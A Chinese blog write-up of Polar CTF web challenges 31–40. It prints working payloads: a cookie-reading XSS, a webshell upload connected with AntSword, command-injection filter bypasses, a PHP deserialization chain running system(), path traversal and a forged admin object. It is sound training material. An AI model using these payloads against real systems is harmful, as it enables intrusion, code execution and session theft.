今天是2026年8月5日
今天继续分享polar靶场的做题经历
Polar靶场:
31.题目信息:

进入靶场:

让我们扫一扫,用dirsearch扫一下:

扫到一个叫/flag.php的目录进去看看:

会在哪呢,看看源码:

成功拿到flag:flag{094c9cc14068a7d18ccd0dd3606e532f}
32.题目信息:

进入靶场:

可以在源代码中看到flag,但是个假的,我在输入框中尝试了xss发现是可以正常弹窗的,所以我觉得这题很可能是想让我们利用xss来获取flag:


我们尝试利用xss来读取cookie中的信息,payload:
<img src=x onerror=alert(document.cookie)>
flag中有url编码,解码后成功拿到flag:flag{72077a55w312584wb1aaa88888cd41af}
33.题目信息:

进入靶场:

题目会把我们输入的内容进行md5加密并且不能为数组还要以0e开头,我在网上搜了一下发现240610708这组数的md5值刚好是以0e开头的直接传参:
http://9061b36e-3bc5-420a-b70d-5dddcf52336b.www.polarctf.com:8090/?xxs=240610708
flag直接出来了:flag{1bc29b36f623ba82aaf6724fd3b16718}
34.题目信息:

进入靶场:

题目要求上传一个webshell到服务器,但是题目只能上传图片,我们尝试之前的抓包改后缀:

这里可以看到成功上传了,我们现在在文件中写入一句话木马:

再次抓包上传:

成功上传,打开蚁剑连接:

连接成功,在根目录拿到flag:flag{adbf5a778175ee757c34d0eba4e932bc}

35.题目信息:

进入靶场:

题目过滤了大量关键字,我在网上搜了一下发现PHP 接收 GET 参数时: . 点、 空格、[ 左括号会自动转换成下划线,我们可以利用这个特性来绕过下划线:
c[md= #[左括号会被转换为下划线
发现虽然禁用了很多命令,但是我们仍然可以用\反引号来绕过,构造payload:
http://470dc237-bfb8-4ad5-b9f3-b100e294b545.www.polarctf.com:8090/?c[md=ca\t ../../../fl\ag.php
在源码中找到flag:flag{cf7d0e14fbf7845e50d53a478d3d10eb}

36.题目信息:

进入靶场:

源码:
class bllbl
{
public $qiang;//我的强
function __destruct(){
$this->bllliang();
}
function bllliang(){
$this->qiang->close();
}
}
class bllnbnl{
public $er;//我的儿
function close(){
eval($this->er);
}
}
if(isset($_GET['blljl'])){
$user_data=unserialize($_GET['blljl']);
}这是一道反序列化题,创建了两个类:bllbl、bllnbnl,用到了一个魔术方法:destruct,定义了两个函数:bllliang、close。代码运行结束时会先触发destruct魔术方法,魔术方法触发后会指向bllliang()函数,bllliang()函数又会指向close()函数,但是这个函数在另一个类中,我们可以让qiang=bllnbnl类来达到触发close()函数的目的,最后利用close()函数来执行我们想要的命令,构造payload:
<?php
class bllbl
{
public $qiang;
function __destruct(){
$this->bllliang();
}
function bllliang(){
$this->qiang->close();
}
}
class bllnbnl{
public $er="system(ls);";
function close(){
eval($this->er);
}
}
$a=new bllbl();
$b=new bllnbnl();
$a->qiang=$b;
echo serialize($a);
?>传参后可以在源码中看到返回结果:

看来是成功了,我们直接寻找flag:

ls根目录发现了flag,直接读取:

成功拿到flag:flag{f2fe05c8ecca794c80e3a46d7fa5b47e}
37.题目信息:

进入靶场:

题目告诉我们传参点是?page,我们随便传个参数试试:

出现了提示,题目可能过滤了一些字符,尝试多种payload后,成功用双写绕过拿到flag:
payload:
http://348c9e87-57c4-42b8-a05b-aea698cd7051.www.polarctf.com:8090/?page=..././..././f1a9
flag:flag{b7e5578d5f11ee7db50f30596052293f}
38.题目信息:

进入靶场:

题目要求:POST 传入 data 参数,值为 User 对象的 PHP 序列化字符串,目标让 is_admin=true,模拟管理员身份拿到 flag,可以构造payload:
POST传入:
data=O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"is_admin";b:1;}成功拿到flag:flag{6f450d5d498782e74580b57b1bdd138e}

39.题目信息:

进入靶场:

题目过滤了大量关键字符并且要让gouheizi2="gouheizi",但gouheizi会被删除,仔细观察可以发现这些命令可以使用反斜杠进行绕过,POST请求的gouheizi可以用双写绕过,最后构造payload:
GET请求发:
http://a56bc201-e7af-4f13-b310-a7d2dc82fdf6.www.polarctf.com:8090/?gouheizi1=ca\t ../../fl\ag.phpPOST请求发:
gouheizi2=gougouheiziheizi成功拿到flag:flag{d22add0cf74c46feffe95e7f8064136b}

40.题目信息:

进入靶场:

题目要求点击这个按钮,但鼠标一到按钮上,按钮就会移动到其他地方,并且在源代码中的js文件里可以看到要点击999999+下才能拿到flag:

我们肯定不能这样干,可以看到满足点击条件后代码会跳转到/proxy.php?file=flag目录,也就是flag目录,那我们直接访问不就能直接拿到flag了吗,试一下:

访问目录后,成功在源码中拿到flag:flag{ce50a09343724eb82df11390e2c1de18}
由于这两天比较忙所以没有做题,懈怠了,明天继续努力!!!
今日做题分享
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法